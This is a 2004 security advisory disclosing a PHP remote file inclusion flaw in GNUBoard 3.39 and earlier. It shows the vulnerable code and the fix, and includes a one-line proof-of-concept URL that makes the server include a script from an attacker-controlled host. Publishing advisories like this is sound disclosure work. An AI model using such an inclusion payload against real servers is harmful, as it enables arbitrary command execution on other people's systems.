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GNUBoard PHP Injection



STG Security Advisory: [SSA-20041214-14] GNUBoard PHP injection vulnerability



STG Security Advisory: [SSA-20041214-14] GNUBoard PHP injection

vulnerability



Revision 1.0

Date Published: 2004-12-14 (KST)

Last Update: 2004-12-14

Disclosed by SSR Team (advisory@stgsecurity.com) 



Summary

========

GNUBoard is one of widely used web BBS applications in Korea. Because of an

input validation flaw, a malicious attack can run arbitrary commands with

the privilege of the HTTPD process, which is typically run as the nobody

user.



Vulnerability Class

===================

Implementation Error: Input validation flaw



Impact

======

High : arbitrary command execution.



Affected Products

================

GNUBoard 3.39 and prior versions

php.ini : register_globals = On



Vendor Status: FIXED

====================

2004-12-06 Vulnerability found.

2004-12-06 GNUBoard developer notified.

2004-12-06 GNUBoard 3.40 is released.

2004-12-14 Official release.



Details

=======

For improper verification of input value of the parameter, the "doc"

parameter in "index.php" can be exploited to include arbitrary files of

external or local resources to execute arbitary commands.



index.php

- - ----

if (!$doc) {  (1) <-- check point

    $doc = './main.php';

}



// php ??? ??? ??? ? ??

$tmp = explode(".", $doc);

$extension = $tmp[count($tmp)-1];

if (!preg_match("/^(php[3]?|[p]?htm[l]?)$/i", $extension) || count($tmp)<=1)

{

    echo "php php3 htm html phtml ??? ??? ? ????.";

    exit;

}

......

ob_start();

include $doc; (2) <-- include point

- - ----



Proof of concept :

http://[victim]/gnu3/index.php?doc=http://[attacker]/[attack].php 



Solution

=========

Update to 3.40

http://sir.co.kr/?doc=bbs/gnuboard.php&bo_table=pds&page=1&wr_id =1871



Vendor URL

==========

http://www.sir.co.kr/ 



Credits

======

Jeremy Bae at STG Security


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